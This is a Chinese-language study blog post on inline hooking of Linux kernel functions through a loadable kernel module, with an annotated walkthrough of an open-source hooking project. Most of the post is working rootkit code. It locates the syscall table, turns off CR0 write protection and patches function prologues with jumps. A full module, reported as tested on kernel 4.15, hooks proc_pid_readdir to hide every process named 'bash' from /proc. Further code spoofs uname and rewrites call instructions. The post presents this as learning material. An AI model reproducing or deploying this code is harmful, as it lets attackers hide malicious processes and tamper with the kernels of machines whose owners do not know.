Linux下基于lkm的inline hook学习

最基础的几种 hook 方式,后面还有很多,这里主要记录 jmp 方法。主要参考文章

主要原理

通过修改目标函数的起始汇编,使用 jmp 指令跳转到我们 hook 的函数地址,在执行完 hook 函数后或者期间,在跳转回原函数地址。
我们选择目标函数的起始点做修改,而不选择后面做修改,因为这样,我们 hook 函数,可以正确寻找到调用目标函数所赋值的参数,寻参是通过 ebp 相对位置寻找的。

主要操作

  1. 备份前几条汇编指令(可选)
  2. 计算跳转
  3. 修改目标函数前几条指令,及后续 hook 跳转回目标函数指令(后面部分可选)
    找了一个开源的实现 inline hook 的项目,分析一下

分析

先看他的一个 hook 数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct Hook
{
//用于多个hook对象时寻找的索引。
unsigned int id;
//要备份的汇编指令长度
unsigned int hook_len;
//要备份的汇编指令内容
unsigned char *original_code;
//目标函数需要修改为的汇编指令内容
unsigned char *hook;
//hook函数结尾的汇编指令
unsigned char *trampoline;
//目标函数的地址
unsigned char *og_func;
//hook函数的地址
unsigned char *new_func;
unsigned char paused;
};

我们最终所需要的信息都在这个数据结构中。
首先获取系统调用表(原理),(注: 在 Linux 内核 v4.17及之后 sys_close 就不再被导出):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned long *find(void)
{
unsigned long *sctable;
unsigned long int i = (unsigned long int)sys_close;
while (i < ULONG_MAX)
{
sctable = (unsigned long *)i;
if (sctable[__NR_close] == (unsigned long)sys_close)
{
return sctable;
}
i += sizeof(void *);
}
return NULL;
}

然后通过系统调用表获取相应的调用。如果我们修改 hook 内核中一些函数,那么我们可以通过 kallsyms 来获取。通过查阅 /proc/kallsyms 是包含所有内核符号表及其动态加载的符号表,也可以通过 kallsyms_lookup_name 来获取符号的地址。
接下来是获取备份汇编指令的长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int number_of_bytes_to_pad_jump(unsigned char *src)
{
int res = 0;
DISASM MyDisasm;
int len = 0;
int Error = 0;
(void)memset(&MyDisasm, 0, sizeof(DISASM));
MyDisasm.EIP = src;
for (int i = 0; i < 12 && res < HOOK_LEN; i++)
{
//反汇编,每次返回一条汇编指令长度。
len = Disasm(&MyDisasm);
printk("len: %d\n", len);
for (int j = 0; j < len; j++)
{
printk("%02x ", *(((unsigned char *)MyDisasm.EIP) + j));
}
res += len;
MyDisasm.EIP = MyDisasm.EIP + len;
printk("\n");
}
return res;
}

它使用来 beaengine ,查阅之后了解到他是一个反汇编工具,问了一下大锤,上述代码的核心功能是通过 beaengine 来进行反汇编,每次返回一条汇编指令长度。这里的条件就是在汇编指令小于 12 条且总长度小于 HOOK_LEN,这里就是刚刚指令总长大于 HOOK_LEN 的长度。
接着就是核心函数 create_tramp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
unsigned char *create_tramp(unsigned long *src, unsigned long *new_func, unsigned int id, unsigned int h_len)
{
printk("[goof] hooking %p with %p\n", src, new_func);
unsigned char *tmp = (unsigned char *)src;
//初始化hook结构
struct Hook *h = kmalloc(sizeof(struct Hook), GFP_KERNEL);
hooks[id] = h;
h->og_func = (unsigned char *)src;
h->new_func = (unsigned char *)new_func;
//h_len为需要备份的汇编长度
h->hook_len = h_len;
//申请h_len长度的内存资源
h->original_code = kmalloc(h->hook_len, GFP_KERNEL);
//拷贝目标的h_len长度的内容备份到h->original_code中,完成备份
memcpy(h->original_code, src, h->hook_len);
//申请h_len+HOOK_LEN长度的内存资源,其中h_len用于存在备份内容,HOOK_len用于存放hook jump。
h->trampoline = __vmalloc(h->hook_len + HOOK_LEN, GFP_KERNEL, PAGE_KERNEL_EXEC);
//存放备份内容
memcpy(h->trampoline, h->original_code, h->hook_len);
//这是JUMP_TEMPLATE的内容
// Code used to jump to arbitrary addresses
// movabs rax,0x1122334455667788
// mov rax,rax
// jmp rax
//将JUMP_TEMPLATE的内容拷贝到h->trampoline的后HOOK_LEN空间
//同时在后面将 目标地址+h_len 作为后续hook函数回跳的地址,将它替换到JUMP_TEMPLATE的movabs rax
//后面跟的地址,8位,用户后续跳转会原执行点。
unsigned char *jump_back = kmalloc(HOOK_LEN, GFP_KERNEL);
memcpy(jump_back, JUMP_TEMPLATE, HOOK_LEN);
tmp = (unsigned char *)src + h->hook_len;
memcpy(jump_back + 2, &tmp, 8);
//这里感觉有问题,后面应该拷贝的 HOOK_LEN长度???后续实际测试的时候调试一下。
memcpy(h->trampoline + h->hook_len, jump_back, h->hook_len)
//释放资源,完成了对 h->trampoline的内容准备。
kfree(jump_back);
printk("\n[goof] trampoline %p\n\t[goof] ", h->trampoline);
for (int i = 0; i < h->hook_len * 2; i++)
{
printk("%02x ", h->trampoline[i]);
}
printk("\n");
//申请h_len长度的内存资源,用于替换掉备份的汇编指令
//内容为JUMP_TEMPLATE,用于跳转到hook函数起始地址,所以将地址替换为hook函数的地址。
unsigned char *jump = kmalloc(h->hook_len, GFP_KERNEL);
memset(jump, 0x90, h->hook_len);
memcpy(jump, JUMP_TEMPLATE, HOOK_LEN);
tmp = ((unsigned char *)new_func);
memcpy(jump + 2, &tmp, 8);
printk("[goof] Memory hasn't been written\n");
//关掉写保护
DISABLE_W_PROTECTED_MEMORY
//替换为构造的jump指令
memcpy(src, jump, h->hook_len);
//开启写保护
ENABLE_W_PROTECTED_MEMORY
return NULL;
}

关于写保护的资料

再看 hook 函数,由于此开源项目我没有跑起来,每次加载都会崩掉,猜测是因为调用表获取的问题,所以先看看边城给出的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int new_proc_pid_readdir(struct file *file, struct dir_context *ctx)
{
......
for (iter = new_next_tgid(ns, iter);
iter.task;
iter.tgid += 1, iter = new_next_tgid(ns, iter))
{
char name[PROC_NUMBUF];
int len;
cond_resched();
if (!new_has_pid_permissions(ns, iter.task, HIDEPID_INVISIBLE))
continue;
len = snprintf(name, sizeof(name), "%d", iter.tgid);
ctx->pos = iter.tgid + TGID_OFFSET;
if (strcmp("bash", iter.task->comm) == 0)
{
printk("Hidden process is [tgid:%d][pid:%d]:%s\n", ctx->pos, iter.task->pid, iter.task->comm);
continue;
}
if (!new_proc_fill_cache(file, ctx, name, len,
new_proc_pid_instantiate, iter.task, NULL))
{
put_task_struct(iter.task);
return 0;
}
}
ctx->pos = PID_MAX_LIMIT + TGID_OFFSET;
return 0;
}

通过直接对比源码中的 proc_pid_readdir ,增加了:

1
2
3
4
5
if (strcmp("bash", iter.task->comm) == 0)
{
printk("Hidden process is [tgid:%d][pid:%d]:%s\n", ctx->pos, iter.task->pid, iter.task->comm);
continue;
}

可以看出是对 command 为 bash 的进程做了过滤,不让他存在 /proc 目录中来进行进程的隐藏,所以后续,可以对内核任意函数进行同种方法的 hook。因为边城的 hook,并没有跳转会原函数的操作,而是做了类似直接替换原函数的操作,做的备份也只是用于后续的恢复,所以在对 hook 函数的编程中,要保证在指定点操作,就需要将之前的操作都重写一遍,当然可以导出的函数,就可以直接引用。
再看 goof 给出的 hook 代码:

1
2
3
4
5
6
7
8
9
10
11
int new_sys_newuname(struct utsname *buf)
{
//这里他给出的备注是,先调用原sys_uname来对buf进行数据填充,这里trampoline就是备份数据加
//jmp 回跳。
int (*func_ptr)(struct utsname *) = (void *)hooks[0]->trampoline;
int ret = func_ptr(buf);
char tmp[] = "Macos";
copy_to_user(buf->sysname, tmp, 5);

return ret;
}

这里的操作就表现来 trampoline 的作用。(系统调用大多都是汇编,直接改写现在我也不会。)
jmp 和修改 call 的方法很类似,jmp 方法会比直接修改 call 方法变更更多,其他操作都类似。

测试

边城给的实例代码是最原始的,可以直接运行,非常爽。goof 实现的更完整,但是我跑不起来,而且只能对系统调用表的系统调用函数进行修改,所以我就搬运了一下,将备份模块和替换操作模块都搬运到边城给的原始代码中,这两个部分 goof 写的更完善。代码贴在最后面。效果:
Untitled
后续需要多看看 linux 下重要操作所涉及的源码。
修改 uname 系统调用,效果就很简单:
Untitled 1
我该如何用 gdb 调试到 proc_pid_readdir 或者系统调用 sys_newuname,来看看是否是真的以想象的流程运行的?这个放在后面文章中来学习,应该是需要构造 linux 虚拟机进行调试,边城的资料中有给出。

代码

边城的代码+goof 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#include "goof.h"
#include "include/beaengine/BeaEngine.h"
#include "beaengineSources/BeaEngine.c"
#define FIRST_PROCESS_ENTRY 256
#define PROC_NUMBUF 13
#define TGID_OFFSET (FIRST_PROCESS_ENTRY + 2)

MODULE_LICENSE("GPL");
MODULE_AUTHOR("CHS");
typedef int instantiate_t(struct inode *, struct dentry *,
struct task_struct *, const void *);

typedef struct tgid_iter (*hack_next_tgid)(struct pid_namespace *ns, struct tgid_iter iter);
hack_next_tgid new_next_tgid;

/*hack point*/
typedef bool (*hack_proc_fill_cache)(struct file *file, struct dir_context *ctx,
const char *name, int len,
instantiate_t instantiate, struct task_struct *task, const void *ptr);
hack_proc_fill_cache new_proc_fill_cache;

typedef int (*hack_proc_pid_instantiate)(struct inode *dir,
struct dentry *dentry,
struct task_struct *task, const void *ptr);
hack_proc_pid_instantiate new_proc_pid_instantiate;

typedef bool (*hack_ptrace_may_access)(struct task_struct *task, unsigned int mode);
hack_ptrace_may_access new_ptrace_may_access;

typedef int (*origin_proc_pid_readdir_point)(struct file *file, struct dir_context *ctx);
origin_proc_pid_readdir_point origin_proc_pid_readdir;
void set_addr_rw(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
void set_addr_ro(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
struct tgid_iter
{
unsigned int tgid;
struct task_struct *task;
};
static bool new_has_pid_permissions(struct pid_namespace *pid,
struct task_struct *task,
int hide_pid_min)
{
new_ptrace_may_access = (hack_ptrace_may_access)kallsyms_lookup_name("ptrace_may_access");
if (!new_proc_fill_cache)
{
printk("ptrace_may_access err;");
return false;
}
if (pid->hide_pid < hide_pid_min)
return true;
if (in_group_p(pid->pid_gid))
return true;

return new_ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS);
}
int new_proc_pid_readdir(struct file *file, struct dir_context *ctx)
{
new_next_tgid = (hack_next_tgid)kallsyms_lookup_name("next_tgid");
if (!new_next_tgid)
{
printk("next_tgid err;");
return -1;
}
new_proc_fill_cache = (hack_proc_fill_cache)kallsyms_lookup_name("proc_fill_cache");
if (!new_proc_fill_cache)
{
printk("proc_fill_cache err;");
return -1;
}
new_proc_pid_instantiate = (hack_proc_pid_instantiate)kallsyms_lookup_name("proc_pid_instantiate");
if (!new_proc_pid_instantiate)
{
printk("proc_pid_instantiate err;");
return -1;
}
struct tgid_iter iter;
struct pid_namespace *ns = file_inode(file)->i_sb->s_fs_info;
loff_t pos = ctx->pos;
if (pos >= PID_MAX_LIMIT + TGID_OFFSET)
return 0;
if (pos == TGID_OFFSET - 2)
{
struct inode *inode = d_inode(ns->proc_self);
if (!dir_emit(ctx, "self", 4, inode->i_ino, DT_LNK))
return 0;
ctx->pos = pos = pos + 1;
}
if (pos == TGID_OFFSET - 1)
{
struct inode *inode = d_inode(ns->proc_thread_self);
if (!dir_emit(ctx, "thread-self", 11, inode->i_ino, DT_LNK))
return 0;
ctx->pos = pos = pos + 1;
}
iter.tgid = pos - TGID_OFFSET;
iter.task = NULL;
for (iter = new_next_tgid(ns, iter);
iter.task;
iter.tgid += 1, iter = new_next_tgid(ns, iter))
{
char name[PROC_NUMBUF];
int len;
cond_resched();
if (!new_has_pid_permissions(ns, iter.task, HIDEPID_INVISIBLE))
continue;
len = snprintf(name, sizeof(name), "%d", iter.tgid);
ctx->pos = iter.tgid + TGID_OFFSET;
if (strcmp("bash", iter.task->comm) == 0)
{
printk("Hidden process is [tgid:%d][pid:%d]:%s\n", ctx->pos, iter.task->pid, iter.task->comm);
continue;
}
if (!new_proc_fill_cache(file, ctx, name, len,
new_proc_pid_instantiate, iter.task, NULL))
{
put_task_struct(iter.task);
return 0;
}
}
ctx->pos = PID_MAX_LIMIT + TGID_OFFSET;
return 0;
}
unsigned char *create_tramp(unsigned long *src, unsigned long *new_func, unsigned int id, unsigned int h_len)
{
printk("[goof] hooking %p with %p\n", src, new_func);
unsigned char *tmp = (unsigned char *)src;
struct Hook *h = kmalloc(sizeof(struct Hook), GFP_KERNEL);
hooks[id] = h;
h->og_func = (unsigned char *)src;
h->new_func = (unsigned char *)new_func;
h->hook_len = h_len;
h->original_code = kmalloc(h->hook_len, GFP_KERNEL);
memcpy(h->original_code, src, h->hook_len);
h->trampoline = __vmalloc(h->hook_len + HOOK_LEN, GFP_KERNEL, PAGE_KERNEL_EXEC);
memcpy(h->trampoline, h->original_code, h->hook_len);
unsigned char *jump_back = kmalloc(HOOK_LEN, GFP_KERNEL);
memcpy(jump_back, JUMP_TEMPLATE, HOOK_LEN);
tmp = (unsigned char *)src + h->hook_len;
memcpy(jump_back + 2, &tmp, 8);
memcpy(h->trampoline + h->hook_len, jump_back, HOOK_LEN);
kfree(jump_back);
printk("\n[goof] trampoline %p\n\t[goof] ", h->trampoline);
int i;
for (i = 0; i < h->hook_len * 2; i++)
{
printk("%02x ", h->trampoline[i]);
}
printk("\n");
unsigned char *jump = kmalloc(h->hook_len, GFP_KERNEL);
memset(jump, 0x90, h->hook_len);
memcpy(jump, JUMP_TEMPLATE, HOOK_LEN);
tmp = ((unsigned char *)new_func);
memcpy(jump + 2, &tmp, 8);
printk("[goof] Memory hasn't been written\n");
set_addr_rw();
memcpy(src, jump, h->hook_len);
set_addr_ro();
return NULL;
}
int number_of_bytes_to_pad_jump(unsigned char *src)
{
int res = 0;
DISASM MyDisasm;
int len = 0;
int Error = 0;
(void)memset(&MyDisasm, 0, sizeof(DISASM));
MyDisasm.EIP = src;
int i;
for (i = 0; i < 12 && res < HOOK_LEN; i++)
{
len = Disasm(&MyDisasm);
printk("len: %d\n", len);
int j;
for (j = 0; j < len; j++)
{
printk("%02x ", *(((unsigned char *)MyDisasm.EIP) + j));
}
res += len;
MyDisasm.EIP = MyDisasm.EIP + len;

printk("\n");
}
return res;
}
void remove_tramp(unsigned int id)
{
set_addr_rw();
memcpy(hooks[id]->og_func, hooks[id]->original_code, hooks[id]->hook_len);
set_addr_ro();
}
int __init hack_kernel(void)
{
unsigned long offset = 0;
unsigned long hook_offset;
hooks = kmalloc(sizeof(struct Hook *) * HOOKS_COUNT, GFP_KERNEL);
origin_proc_pid_readdir = kallsyms_lookup_name("proc_pid_readdir");
int padding_size = number_of_bytes_to_pad_jump((unsigned char *)origin_proc_pid_readdir);
create_tramp((unsigned long *)origin_proc_pid_readdir, (unsigned long *)new_proc_pid_readdir, 0, padding_size);
printk("Hooked uname with %d bytes\n\n", padding_size);
return 0;
}
void __exit hack_kernel_exit(void)
{
remove_tramp(0);
printk("hack kernel goodbye!!");
return;
}
module_init(hack_kernel);
module_exit(hack_kernel_exit)

内核 4.15 + gcc 8.4 测试通过。
修改 call 指令核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void call_patch(unsigned char *func, int origin, int new)
{
DISASM MyDisasm;
int count = 0;
int len = 0;
unsigned int origin_offset = 0;
unsigned long new_offset = 0;
(void)memset(&MyDisasm, 0, sizeof(DISASM));
MyDisasm.EIP = func;
int i;
for (i = 0; i < 512; i++)
{
len = Disasm(&MyDisasm);
if ((((unsigned char *)MyDisasm.EIP)[0] & 0x000000ff) == 0xe8)
{
unsigned char buf[len - 1];
memset(buf, 0, len - 1);
int j;
for (j = 1; j < len; j++)
{
buf[j - 1] = (func + count)[j];
}
origin_offset = *(int *)buf;
if ((int)func + origin_offset + len + count == origin)
{
printk("find call offset\n");
new_offset = (unsigned long)new - (unsigned long)func - len - count;
int n;
for (n = 1; n < len; n++)
{
(func + count)[n] = (new_offset & (0x000000ff << ((n - 1) * 8))) >> ((n - 1) * 8);
};
printk("new call\n");
return;
}
};
count += len;
MyDisasm.EIP = MyDisasm.EIP + len;
}
}